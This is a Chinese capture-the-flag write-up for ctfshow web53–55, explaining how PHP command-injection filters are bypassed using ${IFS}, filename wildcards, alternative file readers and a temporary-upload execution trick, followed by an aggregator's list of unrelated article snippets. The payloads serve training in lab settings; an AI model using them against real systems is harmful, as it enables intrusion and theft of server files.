ctfshow-web入门-命令执行(web53-web55)

目录

1、web53

2、web54

3、web55


1、web53

这里的代码有点不一样,说一下这两种的区别:

(1)直接执行 system($c);

system($c);

这种方式会直接执行命令 $c 并将命令的输出直接发送到标准输出(通常是浏览器);不会返回命令的输出值,因此不能对输出结果进行进一步处理。

(2)使用一个参数来接受 system 的返回值后再输出它

$d = system($c);
echo "<br>".$d;

这种方式不仅会执行命令 $c,而且会将命令的最后一行输出结果赋值给变量 $d;然后通过 echo "<br>".$d; 将变量 $d 的内容输出到标准输出;如果命令产生了多行输出,只有最后一行会被存储在变量 $d 中并输出,而其他行会直接输出到标准输出。其中 "<br>" 是 HTML 标签,用于在网页中插入换行符。

比如我们执行一下 ls 看看效果:

?c=ls

输出结果为:

lsflag.php index.php readflag
readflag

我们题目代码是:

echo($c);
$d = system($c);
echo "<br>".$d;

因此会先输出我们传入的内容,即 ls;紧接着直接输出 ls 执行的结果 flag.php index.php readflag;system 函数返回命令输出的最后一行,执行结果最后一行是 readflag,所有 $d 的值是 readflag,前面还拼接了一个 "<br>",因此会换行输出。

这里还是放出了 $ 符,构造 payload 读取 flag.php:

?c=nl${IFS}fla\g.php

拿到 flag:ctfshow{1bcea82b-e31b-42ea-bdba-d21411b7e7de}

很好奇这个 readflag 是什么,于是读了一下,但是有乱码:

2、web54

preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)

其他都差不多,主要是这里使用了很多星号来匹配,比如 .*c.*a.*t.* ,只要内容顺序符合 ...c...a...t...就会被检测,不管在这三个字母前后或者中间有什么,都会匹配成功。

nl 被过滤掉了,我们可以使用 rev 反向输出。

并且这里通配符问号没有被过滤,构造 payload:

?c=rev${IFS}fla?.php

得到:}eb6e9b9a201f-cddb-1154-8606-9785878a{wohsftc

取倒序:

拿到 flag:ctfshow{a8785879-6068-4511-bddc-f102a9b9e6be}

在网上还看到了另一个命令:uniq

本来这个命令是用于去除相邻的重复行,但是我们也可以用它来输出文件内容。

构造 payload:

?c=uniq${IFS}f???.php

但是这里在这个通配符上面就有点讲究了,比如:?c=uniq${IFS}f?a?.php 可以,但是 ?c=uniq${IFS}fl??.php 就不行了,?c=uniq${IFS}fla?.php更不行。

目前不知道是什么原因,知道的可以解释下谢谢。

此外,还可以使用 vi 命令,构造 payload:

?c=vi${IFS}fla?.php

结果有乱码,但是可以在源码里找到 flag 

最后再来看题目提示给的 payload:

?c=/bin/?at${IFS}f???????

因为 Linux 有很多命令存放在 /bin/ 目录下,可以通过绝对路径来使用,并且支持通配符。

Linux 下万物皆文件

也就是说 cat 命令也可这样用:/bin/?at

3、web55

preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)

主要是过滤了字母,分号过滤了自增也不行,我试了取反但是不行,不知道是不是需要传给 eval 函数才可以还是什么原因,希望知道的师傅可以解释下。

在无字母 rce 里还有一个点:临时文件上传

做到这里勇师傅已经感觉到题目难度开始上来了,之前并未接触过这个类型的题,这里先参照题目提示的方法来:

通过post一个文件(文件里面是 sh 命令),在上传的过程中,通过 . (点)去执行执行这个文件。

上传的这个临时文件会保存在 /tmp/ 下,且文件名一定是 php 加上六个随机的字符,即 /tmp/php??????,这个临时文件还会有一个特性,就是这 6 个随机的字符会出现大写的情况,这也是我们的另一个利用点,利用大写字母区别于其他文件,我们使用匹配符:[@-[] 即可匹配到大写字母,大写字母位于 “ @ ” 与 “ [ ” 之间。

构造 post 数据包:文件后缀为 .html

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST数据包POC</title>
</head>
<body>
<form action="https://9a129cb5-2611-4aaf-9b78-0424dd5b9ac2.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>

双击打开如下图: 

构造用于上传的文件(sh命令):

我这里命名为 exp.txt,内容如下

#!/bin/sh
ls

上传我们构造的文件,使用 burpsuite 抓包(这里需要允许抓取本地的请求包):

发到重发器,添加 payload:

?c=.%20/???/????????[@-[]

%20 是空格,我们这里使用点执行我们上传的文件,从而去执行内容中的 sh 命令,该文件会传到 /tmp/phpxxxxxx ,过滤了字母我们使用通配符问号代替,主要匹配的特征是文件名结尾的大写字母,大写字母不一定随机出现在最后一位,可能需要多试几次。 

我们原本在上传的文件里写的是执行 ls 命令: 

修改 sh 命令,读取 flag.php: 

拿到 flag:ctfshow{17c927f3-8b30-4da0-a4e3-7c227b1dac83}

此外,在网上还看到了其他的做法:

(1)未过滤数字,利用 /bin/ 目录下的 base64 进行通配符匹配,构造 payload:

?c=/???/????64 ????.???

获得 flag.php 的 base64 编码:

解码拿到 flag:

(2)利用 /usr/bin/ 下的 bzip2 命令

先将 flag.php 压缩,构造 payload:

?c=/???/???/????2 ????.???

bzip2 命令压缩后的文件后缀为 .bz2,因此这里压缩后文件名为:flag.php.bz2

访问该文件下载:

打开即可看到 flag:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/851188.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【qsort函数】

前言 我们要学习qsort函数并利用冒泡函数仿照qsort函数 首先我们要了解一下qsort&#xff08;快速排序&#xff09; 这是函数的的基本参数 void qsort (void* base, size_t num, size_t size,int (*compar)(const void*,const void*)); 简单解释一下 base&#xff1a;指向…

23.在游戏中按下Home键呼出辅助窗口

上一个内容&#xff1a;22.钩子注入原理 在 22.钩子注入原理 它的代码上进行修改 效果图&#xff1a; 首先在CWndMain.h文件中添加下图红框里的东西 ChangeShowState函数的实现 void CWndMain::ChangeShowState() {UiShow !UiShow;ShowWindow(UiShow); } OnInitDialog函数…

CISCN2024 初赛 wp 部分复现(Re)

Misc 1. 火锅链观光打卡 答题即可 Re 1. asm_re 感谢智谱清言&#xff0c;可以读出大致加密算法 这是输入 这是加密部分 这里判断 找到疑似密文的部分&#xff0c;手动改一下端序 #asm_wp def dec(char):return (((char - 0x1E) ^ 0x4D) - 0x14) // 0x50 #return (ord(cha…

powerdesigner各种字体设置

1、设置左侧菜单&#xff1a; 步骤如下&#xff1a; tools —> general options —> fonts —> defalut UI font ,选择字体样式及大小即可&#xff0c;同下图。 2、设置Table的字体大小 Tools------>Display Prefrences------>Table------->Format---------…

RabbitMQ系列-rabbitmq无法重新加入集群,启动失败的问题

当前存在3个节点&#xff1a;rabbitmq5672、rabbitmq5673、rabbitmq5674 当rabbitmq5673节点掉线之后&#xff0c;重启失败 重启的时候5672节点报错如下&#xff1a; 解决方案 在集群中取消失败节点 rabbitmqctl forget_cluster_node rabbitrabbitmq5673删除失败节点5673的…

王学岗鸿蒙开发(北向)——————(十)子组件修改父组件的内容与 动画

子组件修改父组件的内容 使用类似Android的回调&#xff0c;父组件传递给子组件一个函数 import { MyComment } from ./component/MyComment import { MyContent } from ./component/MyComtent import { MyTitleComponent } from ./component/MyTitleComponentEntry Componen…

【MySQL数据库基础】

&#x1f308;个人主页&#xff1a;努力学编程’ ⛅个人推荐&#xff1a;基于java提供的ArrayList实现的扑克牌游戏 |C贪吃蛇详解 ⚡学好数据结构&#xff0c;刷题刻不容缓&#xff1a;点击一起刷题 &#x1f319;心灵鸡汤&#xff1a;总有人要赢&#xff0c;为什么不能是我呢 …

【CS.OS】堆管理算法:不同的堆分配和管理算法

1000.5.CS.OS.1.3-基础-内存管理-堆管理算法-Created: 2024-06-09.Sunday10:41 文章目录 1 内存分配算法概述1.1 首次适应&#xff08;First-Fit&#xff09;1.2 最佳适应&#xff08;Best-Fit&#xff09; 2 伙伴系统&#xff08;Buddy System&#xff09; 3 总结References …

Python | 正则表达式

?:标记?之前的字符为可选. used&#xff1f; d可有可无 *:匹配>0个重复的在*号之前的字符。 ab*c 匹配多个b &#xff1a;匹配>1个重复的号前的字符。&#xff08;至少一个&#xff09; {n,m}&#xff1a;匹配num个大括号之前的字符或字符集 &#xff08;n < num …

算法:101. 对称二叉树

对称二叉树 给你一个二叉树的根节点 root &#xff0c; 检查它是否轴对称。 示例 1&#xff1a; 输入&#xff1a;root [1,2,2,3,4,4,3] 输出&#xff1a;true示例 2&#xff1a; 输入&#xff1a;root [1,2,2,null,3,null,3] 输出&#xff1a;false提示&#xff1a; 树中节…

ThreadCache线程缓存

一.ThreadCache整体结构 1.基本结构 定长内存池利用一个自由链表管理释放回来的固定大小的内存obj。 ThreadCache需要支持申请和释放不同大小的内存块&#xff0c;因此需要多个自由链表来管理释放回来的内存块.即ThreadCache实际上一个哈希桶结构&#xff0c;每个桶中存放的都…

目标检测(R-CNN)系列(Pytorch 26)

一 R-CNN 除了之前描述的单发多框检测之外&#xff0c;区域卷积神经网络&#xff08;region‐based CNN或regions with CNN features&#xff0c; R‐CNN&#xff09;(Girshick et al., 2014)也是将深度模型应用于目标检测的开创性工作之一。下面介绍R‐CNN及其一 系列改进方法…

架构设计-web项目中跨域问题涉及到的后端和前端配置

WEB软件项目中经常会遇到跨域问题&#xff0c;解决方案早已是业内的共识&#xff0c;简要记录主流的处理方式&#xff1a; 跨域感知session需要解决两个问题&#xff1a; 1. 跨域问题 2. 跨域cookie传输问题 跨域问题 解决跨域问题有很多种方式&#xff0c;如使用springboot…

cefsharp124.x升级125.x(cef125.0.21/Chromium 125.0.6422.142)

一、版本说明 1.1 依赖关系变化 依赖移除:cef.redist.x64,cef.redist.x86增加新支持chromiumembeddedframework.runtime 旧版本需要移除依赖cef.redist.x64和cef.redist.x86否则会初始化异常。 自版本121.*以后common依赖关系变化 chromiumembeddedframework.runtime.win-x6…

CentOS7 配置Nginx域名HTTPS

Configuring Nginx with HTTPS on CentOS 7 involves similar steps to the ones for Ubuntu, but with some variations in package management and service control. Here’s a step-by-step guide for CentOS 7: Prerequisites Domain Name: “www.xxx.com”Nginx Install…

来腾讯第4天,我已经焦虑昏了啊!

大家好&#xff0c;我是白露啊。 今天在看到一个实习生在抱怨&#xff0c;给我笑惨了。 标题是&#xff1a;“腾讯实习第4天&#xff0c;焦虑昏了”&#xff01; 他写道&#xff1a;“怎么办啊牛爷爷们&#xff0c;什么都不会。业务看不懂&#xff0c;文档看不懂&#xff0c;…

【上海大学计算机组成原理实验报告】七、程序转移机制

一、实验目的 学习实现程序转移的硬件机制。 掌握堆栈寄存器的使用。 二、实验原理 根据实验指导书的相关内容&#xff0c;实验箱系统的程序转移硬件机制在于&#xff0c;当LDPC有效时&#xff0c;如果此时DUBS上的值就是转移的目标地址&#xff0c;则此目标地址被打入PC&am…

k8s概述

文章目录 一、什么是Kubernetes1、官网链接2、概述3、特点4、功能 二、Kubernetes架构1、架构图2、核心组件2.1、控制平面组件&#xff08;Control Plane Components&#xff09;2.1.1、kube-apiserver2.1.2、etcd2.1.3、kube-scheduler2.1.4、kube-controller-manager 2.2、No…

U-Mail:企业邮箱系统安全解决方案

在数字化浪潮的推动下&#xff0c;互联网技术正日新月异&#xff0c;企业的信息通信需求亦随之升华。作为企业沟通的重要媒介&#xff0c;企业邮箱已被广泛应用&#xff0c;然而随着其应用范围的不断扩展&#xff0c;也给企业带来了一系列挑战&#xff1a; 一、统一身份认证管…

大话设计模式解读02-策略模式

本篇文章&#xff0c;来解读《大话设计模式》的第2章——策略模式。并通过Qt和C代码实现实例代码的功能。 1 策略模式 策略模式作为一种软件设计模式&#xff0c;指对象有某个行为&#xff0c;但是在不同的场景中&#xff0c;该行为有不同的实现算法。 策略模式的特点&#…